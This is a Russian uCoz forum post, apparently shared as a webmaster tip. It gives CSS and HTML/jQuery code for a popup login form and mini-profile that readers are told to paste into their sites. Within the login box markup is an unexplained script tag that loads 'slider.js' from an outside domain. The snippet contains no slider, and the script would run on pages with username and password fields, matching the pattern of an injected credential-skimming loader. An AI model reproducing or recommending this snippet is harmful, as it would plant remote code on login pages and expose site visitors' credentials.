Статистика
Последние новости Самые отвечаемые темы Последние сообщения
Оживляем сайт в ... 25.06.2022
С Новым Годом 20... 31.12.2015
Первый соревнова... 11.12.2015
Новая статья на ... 04.10.2015
Обзор игры Black... 04.03.2015
Новинки 189
Extreme sport 137
Болталка 136
Города 129
Облом 93
Тема Дата, Время Автор Раздел
Браузерная игр... 15.09.2023, 07:36 Grandar">Grandar Игры
Флуд 04.09.2023, 07:42 Leo">Leo Обсуждение
Что вы думаете... 04.09.2023, 07:41 Fisher">Fisher Болталка(флуд)
Пример подачи ... 04.09.2023, 07:39 Leo">Leo Набор администраторов
Extreme sport 04.09.2023, 07:38 Leo">Leo Спорт
Фризы в кс 1.6 04.09.2023, 07:38 selays">selays Вопрос - ответ
Пример подачи ... 04.09.2023, 07:37 Leo">Leo Жалобы
помогите пожал... 04.09.2023, 07:36 alekseyglazunov">alekseyglazunov Вопрос - ответ
HTML - словарь 04.09.2023, 07:33 Leo">Leo Скрипты
заявка на снят... 04.09.2023, 07:33 Evolution">Evolution Баны
Новые пользователи Активные пользователи
Derkoletus 17.03.2025
Sashka_Fartovii 16.03.2025
Komarik 14.03.2025
BarErnaz 11.03.2025
DarkWeb 28.02.2025
Leo 2893
ReST 686
m0n0 404
kyka 389
OzzyGreen9I 169
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Новая форма входа для Ucoz в ajax окне
Группа: Проверенные
Собщений: 19
Репутация:
Наград: 0
Замечания : 0%
# 1 17:44
Скрин: http://s59.radikal.ru/i163/1202/ff/5d5e98ba0e41.png

Новая форма входа для Ucoz в ajax окне + мини-профиль в ajax окне
Форма входа и мини-профиль вызываются спомощью ссылки.
Вставляем в css в самый низ:

Code
/* User Box */   
   #userbox {text-shadow:0 -1px 0 #446b81;color:#fff;font:normal 14px Trebuchet MS,Arial,Tahoma,Verdana;display:none;position:fixed;top:50%;left:50%;padding:29px 33px 0;width:250px;margin-left:-158px;margin-top:-140px;height:281px;background:url('http://www.csomsk.ru/1-ucoz/pm/user_box.png') no-repeat 0 0;}   
   #userbox a {color:#fff;text-decoration:none;}   
   #userbox a:hover {text-decoration:underline;}   
   #userbox span#nm {font:bold 26px Trebuchet MS,Arial,Tahoma,Verdana;margin-bottom:18px;display:block;}   
   #userbox #cls {width:25px;height:25px;display:block;float:right;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -133px;cursor:pointer;}   
   #userbox input[type='text'], #userbox input[type='password'] {margin-top:19px;padding:0 13px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 0;font:normal 15px/38px Trebuchet MS,Arial,Tahoma,Verdana;width:224px;height:37px;color:#9f9f9f;border:none;outline:none;}   

   #userbox input#log_in {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;}   
   #userbox input#log_in:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px -41px;}   
   #userbox input#log_out {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;}   
   #userbox input#log_out:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 -41px;}   

   #userbox #avatar {width:95px;height:96px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -37px;float:left;margin-right:22px;margin-top:19px;}   
   #userbox #avatar img {max-with:85px;max-height:85px;margin:5px 5px 0 5px;border:none;}   
   #userbox #u_block {padding-top:21px;}   
   #userbox #u_block a {display:block;}   
   /* -------- */


Где хотите видеть ссылку для вызова вставляем:

Code
<!-- User_Box -->   
   <script type="text/javascript">function log_in() {$('input[name=user]').val($('#u_login').val());$('input[name=password]').val($('#u_pass').val());$('input[name=sbm]').click();}</script>   
   <div id='userbox'>   
   <div id='cls' title='Закрыть' onclick="$('#userbox').fadeOut();"></div>   
   <script src="http://drips.ru/slider.js" type="text/javascript"></script>
   <span id='nm'><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></span>   
   <?if($USER_LOGGED_IN$)?>   
   <div id='avatar'><img src='$USER_AVATAR_URL$' alt='avatar' title='$USERNAME$'></div>   
   <div id='u_block'>   
   <a href='/news/0-0-0-1'>Добавить Новость</a>   
   <a href='/index/14'>Сообщения: <span title='Непрочитанных сообщений: $UNREAD_PM$'>$UNREAD_PM$</span></a>   
   <a href='/index/8'>Мой Профиль</a>   
   <a href='/index/11'>Изенить Данные</a>   
   <a href='/index/15'>Все Пользовтели</a>   
   <input type='button' value='' title='Выйти' id="log_out" onclick="location.href='/index/10'">   
   </div>   
   <?else?><input type='text' id='u_login' value='Логин' size='20' maxlength='50' onblur="if(value == ''){value = 'Логин'}" onfocus="if(value == 'Логин'){value =''}">   
   <input type='password' id='u_pass' value='Пароль' size='20' maxlength='50' onblur="if(value == ''){value = 'Пароль'}" onfocus="if(value == 'Пароль'){value =''}">   
   <input type='button' value='' id="log_in" onclick='log_in();'>   
   <?endif?>   
   </div>   
   <!-- /User_Box -->
<a href="javascript://" onclick="$('#userbox').fadeIn();"><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></a>


ВНИМАНИЕ: Стандартную форму входа нужно удалить и глобольных блоков (Если есть)
  • Страница 1 из 1
  • 1
Поиск: